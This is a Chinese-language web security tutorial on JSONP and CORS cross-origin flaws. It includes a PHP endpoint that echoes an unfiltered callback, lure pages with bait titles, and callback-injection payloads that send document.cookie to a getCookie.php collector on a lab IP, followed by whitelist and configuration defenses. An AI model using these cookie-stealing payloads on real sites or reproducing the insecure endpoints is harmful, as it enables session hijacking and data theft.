跨域漏洞
一、跨域概述
跨域概述
跨域(Cross-Origin Resource Sharing,简称 CORS)是指在浏览器上运行的Web应用程序试图通过XMLHttpRequest或Fetch API等方式向不同源的服务器发送请求时,浏览器会根据同源策略阻止这种行为。同源策略是一种安全机制,用于限制来自不同源的页面对当前页面的访问。它可以防止恶意的网站通过跨域请求获取用户的个人信息或进行未授权操作。
不同网站之间 不能互相访问
同源策略
同源策略(Same-Origin Policy,简称SOP)是一种约定,它要求请求的协议、域名(IP)和端口号必须完全相同才被认为是同源。也就是说只要协议、域名(IP)和端口号,任何一项与当前页面的协议、域名(IP)和端口号不一致,就会被浏览器阻止。我们也把这种请求叫跨域请求。在这种情况下,浏览器会抛出一个跨域错误,导致请求失败。
跨域是浏览器行为。实际上我们发出的请求已经到达服务器了,但是服务器返回数据时被浏览器限制了
No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'xxxxxx' is therefore not allowed access
不受同源策略影响
伪协议:
<script src=""></script>
<link href=""></link>
<a href=""></a>
<img src="" />
<iframe src="" />
同源策略概览
| URL | 说明 | 是否允许通信 |
|---|---|---|
| www.a.com/a.js www.a.com/b.js | 同一域名下 | 允许 |
| www.a.com/lab/a.js www.a.com/script/b.js | 同一域名下不同文件夹 | 允许 |
| www.a.com:8000/a.js www.a.com/b.js | 同一域名,不同端口 | 不允许 |
| www.a.com/a.js www.a.com/b.js | 同一域名,不同协议 | 不允许 |
| www.a.com/a.js http://70.32.92.74/b.js | 域名和域名对应ip | 不允许 |
| script.a.com/b.js script.a.com/b.js | 主域相同,子域不同 | 不允许 |
| www.a.com/a.js a.com/b.js | 同一域名,不同二级域名 | 不允许(cookie这种情况下也不允许访问) |
| www.cnblogs.com/a.js www.a.com/b.js | 不同域名 | 不允许 |
二、解决跨域的方案
JSONP
JSONP (JavaScript Object Notation) 是服务器与客户端跨源通信的常用方法。它是用键值对形式来描述一组数据,最大特点就是简单适用,兼容性好,缺点是只支持get请求,不支持post请求。
JSONP核心思想:网页通过添加一个<script>类似的元素,向服务器请求 JSON 数据,服务器收到请求后,将数据放在一个指定名字的回调函数的参数位置传回来。
JSONP使用
后台代码回调函数(自动加载方案)
<?php
$user_list = [
[
"id"=>1010101,
"user"=>"admin",
"password"=>"666888"
],
[
"id"=>1010102,
"user"=>"root",
"password"=>"123123"
],
[
"id"=>1010103,
"user"=>"test",
"password"=>"123456"
]
];
$json = json_encode($user_list,JSON_UNESCAPED_UNICODE);
// callback前端的回调函数
$callback = @$_GET['callback'];
echo "$callback('$json')"; //引起来 视为一个整体
?>
前端代码
www.lyf.com/attack/girl.html
方案一 自动获取方案
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞,守护您的私密健康</title>
</head>
<body>
</body>
<script>
// 定义回调函数
function getUsers(data){
console.log(data);
}
</script>
<!-- 使用JSONP -->
<script src="http://www.dlrb.com/wowo/user.php?callback=getUsers"></script>
</html>
方案二 点击获取方案
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞,守护您的私密健康</title>
</head>
<body>
<p><img src="./img/gf.jpg" width="200"></p>
<button class="btn">点击加V,每日更新步兵福利,无门槛可白嫖~</button>
</body>
<script>
// 定义回调函数
function getUsers(data){
console.log(data);
}
let btn = document.querySelector(".btn");
// 使用JSONP
btn.onclick = function(){
let body = document.querySelector("body");
let script = document.createElement("script");
script.src = "http://www.dlrb.com/wowo/user.php?callback=getUsers"
body.append(script)
}
</script>
</html>
方案三 JQuery
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞,守护您的私密健康</title>
</head>
<body>
<p><img src="./img/gf.jpg" width="200"></p>
<button class="btn">点击加V,每日更新步兵福利,无门槛可白嫖~</button>
</body>
<script src="./jquery-3.7.1.min.js"></script>
<script>
// JQuery 不需要自己定义回调函数 内部自己处理
$.ajax({
url: "http://www.dlrb.com/wowo/user.php",
dataType: "JSONP",
success: function (resp) {
console.log(resp)
}
})
</script>
</html>
方案四 getJSON 不需要自己定义回调函数 内部自己处理 但是需要传递 ?
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞,守护您的私密健康</title>
</head>
<body>
<p><img src="./img/gf.jpg" width="200"></p>
<button class="btn">点击加V,每日更新步兵福利,无门槛可白嫖~</button>
</body>
<script src="./jquery-3.7.1.min.js"></script>
<script>
let url = "http://www.dlrb.com/wowo/user.php?callback=?"
$.getJSON(url,function(data){
console.log(data)
})
</script>
</html>
JSONP漏洞
跨域漏洞
跨域漏洞是程序员在解决跨域问题中进行了错误的配置。攻击者可以利用Web应用对用户请求数据包的Origin头校验不严格,诱骗受害者访问攻击者制作好的恶意网站,从而跨域获取受害者的敏感数据,包括转账记录、交易记录、个人身份证号信息、订单信息等等。
在回调函数处利用 直接执行js脚本
1.通过注释的方式,注入JS代码获取用户cookie
<script src="http://192.168.88.66/cors/getUser.php?callback=console.log(123) //"></script>
<script src="http://192.168.88.66/cors/getUser.php?callback=console.log(document.cookie) //"></script>
<script src="http://192.168.88.66/cors/getUser.php?callback=new Image().src='http://192.168.88.66/fanyun/getCookie.php?mcookie=' %2b document.cookie //"></script>
2.通过分号的方式,注入JS代码获取用户cookie
<script src="http://192.168.88.66/cors/getUser.php?callback=console.log(123);"></script>
<script src="http://192.168.88.66/cors/getUser.php?callback=console.log(document.cookie);"></script>
<script src="http://192.168.88.66/cors/getUser.php?callback=new Image().src='http://192.168.88.66/fanyun/getCookie.php?mcookie=' %2b document.cookie;"></script>
JSONP跨域防御
产生JSONP攻击的核心在于没有对调用方进行校验
- 前后端约定JSONP请求的js的回调函数名,不能自己定义回调名称。
- 严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 或其他Token验证等。
返回值防御
限制指定类型的返回值 返回json的就让他返回json
header("content-type:application/json;charset=utf-8");
callback白名单
- 严格过滤 callback 函数名及 JSON 里数据的输出。
- 严格限制对 JSONP 输出 callback 函数名的长度和内容。
- 其他一些比较猥琐的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。
// echo json_encode($user_list);
$json = json_encode($user_list);
// 调用回调函数 需要接收前端传递的回调函数
$callback = @$_GET['callback'];
$callback_w = ["?",0,NULL,"getUsers"];
if (in_array($callback,$callback_w)){
echo "$callback($json)";
}else {
echo "参数异常";
}
jsonp 不能是核心数据 明文形式 开发时注意
CORS
CORS (Cross-Origin Resource Sharing)是一个W3C标准,全称是跨域资源共享。它允许浏览器向跨源服务器,发出XMLHttpRequest请求,从而克服了AJAX只能同源使用的限制。它为Web服务器定义了一种方式,允许网页从不同的域访问其资源。
CORS规范规定Web服务器和浏览器之间交换的标头内容,该标头内容限制了源域之外的域请求web资源。CORS规范标识了协议头中Access-Control-Allow-Origin最重要的一组。当网站请求跨域资源时,服务器将返回此标头,并由浏览器添加标头Origin。
准确来说那个接口需要允许跨域,CORS配置就写在那个接口。
CORS解决跨域
浏览器策略 解决浏览器问题 不能防止 python请求等
header("Access-Control-Allow-Origin: *"); // 源配置 域名源
header("Access-Control-Allow-Headers: Content-Type,Authorization,Cache-Control"); // 请求头配置
header('Access-Control-Allow-Methods: GET,POST,OPTIONS'); // 请求方法配置
header('Access-Control-Allow-Credentials: true'); // 预检请求配置
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞,守护您的私密健康</title>
</head>
<body>
</body>
<script>
let xhr = new XMLHttpRequest()
xhr.open("GET","http://www.dlrb.com/wowo/user.php")
xhr.send()
let user_token = ""
xhr.onreadystatechange = function(resp){
if(xhr.readyState == 4 && xhr.status == 200){
console.log(JSON.parse(xhr.responseText))
}
}
</script>
</html>
思考这样写好吗
这样的话并没有限制,容易受到攻击,还容易被别人进行Ddos
跨域前端解决还是后端解决
看情况
先是 看 请求 方式
jsonp 只能解决get请求
如果调用次数多 可以后端解决
如果调用次数不多 可以前端解决
CORS防御
白名单地址
$cors_w = ["http://www.lyf1.com","http://192.168.88.77"];
if(in_array( $_SERVER['HTTP_ORIGIN'],$cors_w)){
header("Access-Control-Allow-Origin: " . $_SERVER['HTTP_ORIGIN']); // 源配置
header("Access-Control-Allow-Headers: Content-Type,Authorization,Cache-Control"); // 请求头配置
header('Access-Control-Allow-Methods: GET,POST,OPTIONS'); // 请求方法配置
header('Access-Control-Allow-Credentials: true'); // 预检请求配置
}else {
echo json_encode([
"code"=>403,
"message"=>"非法访问,后台以记录违法操作,保留报J"
]);
}不用 遍历
$ip_w = ["http://www.wowo.com","http://192.168.88.111"];
if(in_array($_SERVER["HTTP_ORIGIN"],$ip_w )){
header("Access-Control-Allow-Origin: ".$_SERVER["HTTP_ORIGIN"]); // 源配置
header("Access-Control-Allow-Headers: Content-Type,Authorization,Cache-Control"); // 请求头配置
header('Access-Control-Allow-Methods: GET,POST,OPTIONS'); // 请求方法配置
header('Access-Control-Allow-Credentials: true'); // 预检请求配置
}else {
echo "非法访问,如需访问请连接WebVPN";
exit();
}
预防CORS配置漏洞
CORS漏洞主要是由于配置错误而引起的。所以,预防漏洞变成了一个配置问题。
- 正确配置跨域请求 如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。
- 只允许信任的网站 白名单 Access-Control-Allow-Origin只设置指定的域名
- 避免将null列入白名单 避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义CORS头。
- 避免在内部网络中使用通配符 避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。
- CORS不能替代服务器端安全策略 CORS定义了浏览器的行为,绝不能替代服务器端对敏感数据的保护-攻击者可以直接从任何可信来源伪造请求。因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。